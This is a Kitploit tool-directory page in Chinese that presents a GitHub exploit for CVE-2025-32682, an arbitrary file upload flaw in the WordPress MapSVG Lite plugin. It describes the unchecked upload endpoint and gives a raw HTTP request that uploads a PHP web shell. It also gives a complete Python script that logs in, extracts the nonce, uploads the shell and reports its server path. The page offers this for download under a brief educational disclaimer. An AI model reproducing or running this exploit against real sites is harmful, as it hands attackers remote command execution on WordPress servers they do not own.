Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-32682 — WordPress MapSVG Lite 插件 <= 8.5.34 存在任意文件上传漏洞。 | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-32682
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubnxploited/cve-2025-32682

CVE-2025-32682

WordPress MapSVG Lite 插件 <= 8.5.34 存在任意文件上传漏洞。

查看仓库
111年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🐚 CVE-2025-32682 - MapSVG Lite <= 8.5.34 中的任意文件上传

📌 插件详情

  • 名称: MapSVG Lite
  • 受影响版本: <= 8.5.34
  • 漏洞类型: 任意文件上传
  • CVE ID: CVE-2025-32682
  • 发布日期: 2025年4月15日
  • CVSS 评分: 9.9(严重)

💥 漏洞概述

WordPress 的 MapSVG Lite 插件在通过其 REST API 端点上传 SVG 文件时,未验证文件类型:

root@kitploit:~
/wp-json/mapsvg/v1/svgfile

这允许经过身份验证的攻击者(订阅者及以上)上传伪装成 SVG 的任意 PHP 文件,从而实现远程代码执行(RCE)。


📎 概念验证(POC)- 原始 HTTP 请求

root@kitploit:~
POST /wp-json/mapsvg/v1/svgfile HTTP/1.1

Host: 192.168.100.74:888

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://target.com/wp-admin/admin.php?page=mapsvg-config

X-WP-Nonce: 4febb3ff50

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=---------------------------155355665422604566641836454807

Content-Length: 298

Origin: http://192.168.100.74:888

Connection: keep-alive

Cookie:


-----------------------------155355665422604566641836454807

Content-Disposition: form-data; name="file"; filename="nxploit.php"

Content-Type: text/xml



<!--?php  
if(isset($_GET['cmd'])) {  
    system($_GET['cmd']);  
}  
?-->  

-----------------------------155355665422604566641836454807--


🔍 漏洞代码片段

以下来自 mapsvg-lite-interactive-vector-maps.php 文件的漏洞代码片段突显了问题:

root@kitploit:~
public function uploadSVG() {
    $file = $_FILES['file'];
    $upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
    return new \WP_REST_Response(["file" => $upload], 200);
}
  • ❌ 无文件类型检查
  • ❌ 无扩展名验证
  • ❌ 无文件内容清理

该函数直接映射到 REST 端点 /wp-json/mapsvg/v1/svgfile。


🧠 利用条件

  • ✅ 需要身份验证(订阅者及以上)
  • 🛑 无文件类型或内容验证

🐍 POC 2 - Python 利用脚本

root@kitploit:~
# By: Nxploited | Khaled Alenazi
import requests
import argparse
import re

requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-un", "--username", required=True)
parser.add_argument("-p", "--password", required=True)
args = parser.parse_args()

login_url = f"{args.url}/wp-login.php"
resp = session.post(login_url, data={
    'log': args.username,
    'pwd': args.password,
    'rememberme': 'forever',
    'wp-submit': 'Log In'
}, headers={"User-Agent": user_agent})

if 'wordpress_logged_in' not in str(session.cookies):
    print("[-] Login failed")
    exit()
print("[+] Logged in successfully.")

nonce_page = session.get(f"{args.url}/wp-admin/admin.php?page=mapsvg-config")
match = re.search(r'"nonce":"([a-f0-9]+)"', nonce_page.text)
if not match:
    print("[-] Failed to extract nonce")
    exit()
nonce = match.group(1)
print(f"[+] Found nonce: {nonce}")

upload_url = f"{args.url}/wp-json/mapsvg/v1/svgfile"
print(f"[+] Uploading file to: {upload_url}")

payload = {'file': ('nxploit.php', '<?php if(isset($_GET[\'cmd\'])){ system($_GET[\'cmd\']); } ?>', 'application/x-php')}
headers = {
    'X-WP-Nonce': nonce,
    'Referer': f"{args.url}/wp-admin/admin.php?page=mapsvg-config",
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': user_agent
}

res = session.post(upload_url, files=payload, headers=headers)

try:
    json_res = res.json()
    print("[+] Server response (formatted):")
    print("File Name    :", json_res['file']['name'])
    print("URL          :", json_res['file']['relativeUrl'])
    print("Path Short   :", json_res['file']['pathShort'])
    print("Server Path  :", json_res['file']['serverPath'])
    print("\nExploited By : Nxploited | Khaled Alenazi")
except:
    print("[-] Upload failed or invalid response.")

☠️ 影响

利用此漏洞,攻击者可以将 .php web shell 上传到 /wp-content/uploads/mapsvg/ 目录,并在服务器上执行任意命令。


👤 作者:

Nxploited | Khaled Alenazi


⚠️ 免责声明

本项目仅供教育目的使用。未经许可擅自访问系统是违法行为。

下载工具